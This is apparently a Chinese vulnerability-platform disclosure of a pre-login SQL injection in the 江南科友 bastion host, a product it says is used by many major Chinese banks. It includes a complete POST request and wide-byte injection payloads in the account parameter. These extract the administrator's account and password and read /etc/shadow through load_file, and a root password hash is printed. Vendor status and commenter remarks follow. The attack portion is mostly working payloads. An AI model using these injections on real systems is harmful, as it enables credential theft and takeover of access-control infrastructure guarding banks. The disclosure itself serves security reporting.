江南科友堡垒机全版本getshell（无需登录）

客户详情请见这位兄弟的漏洞：

http://**.**.**.**/bugs/wooyun-2014-063604

摘部分

国内各大银行：中国银行、民生银行、广东发展银行、平安银行、深圳发展银行、浦发银行、渤海银行总行及各分行、中国工商银行、中国农业银行、中国建设银行、交通银行、招商银行、中信银行、兴业银行、华夏银行、中国邮政储蓄银行总行或部分分行

该漏洞同样是宽字节注入...

上面的兄弟发的是 username参数的注入，今天测试发现 account 参数同样存在该问题：

如下：

POST /login.php HTTP/1.1
 Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
 Accept-Language: zh-CN
 User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)
 Content-Type: application/x-www-form-urlencoded
 Accept-Encoding: gzip, deflate
 Host: 1xxxx
 Content-Length: 285
 Connection: Keep-Alive
 Cache-Control: no-cache
 Cookie: PHPSESSID=8b5a4758ddce135bb0b74107a970045c
 
 password_check=1&account=aaaaaa%cf'+and+exists(select*from+(select*from(select+name_const((select+concat(account,password)+from+manager+limit+0,1),0))a+join+(select+name_const((select+concat(account,password)+from+manager+limit+0,1),0))b)c)#&password=aaaa&usb_code=&randvalue=795327880

提交：

account=aaaaaa%cf'+and+exists(select*from+(select*from(select+name_const((select+concat(account,password)+from+manager+limit+0,1),0))a+join+(select+name_const((select+concat(account,password)+from+manager+limit+0,1),0))b)c)#

后，成功获取到管理员的帐号，密码，如图：

获取/etc/shadow

提交如下参数：

account=aaa%cf'+and+1=2+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(Select concat(substring(load_file(0x2F6574632F736861646F77),1,64)) FROM manager limit 0,1))a+from+information_schema.tables+group+by+a)b#

获取到上述信息后，可轻易获取到shell，这里就不演示了，直接给个截图：

root Hash:

root:$1$nd7FWMB8$IW4Op2tuiXWxWDUhoEhSP/:13935:0:99999:7:::

bin:

shell:

过滤

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2014-09-28 11:31

厂商回复：

最新状态：

暂无

1. 2014-09-25 17:17 | cnbird ( 普通白帽子 | Rank:547 漏洞数:47 | http://blog.csdn.net/cnbird2008)

   0

   mark

   1# 回复此人

2. 2014-09-29 11:06 | wefgod ( 核心白帽子 | Rank:1829 漏洞数:183 | 力不从心)

   0

   比较关注全版本的结论是如何得出来的

   2# 回复此人

3. 2014-12-23 20:30 | Debug0man ( 路人 | Rank:8 漏洞数:1 | 叽叽呗呗...)

   1

   堡垒机的安全性确实影响比较大,不管是内网还是外网(毕竟用上堡垒机的企业不会安全意识那么淡薄放到公网).毕竟堡垒机有着承上启下,一夫当关万夫莫开的位置和作用.不过,既然说全版本,应该说明洞主具有较多的机会接触堡垒机巴...

   3# 回复此人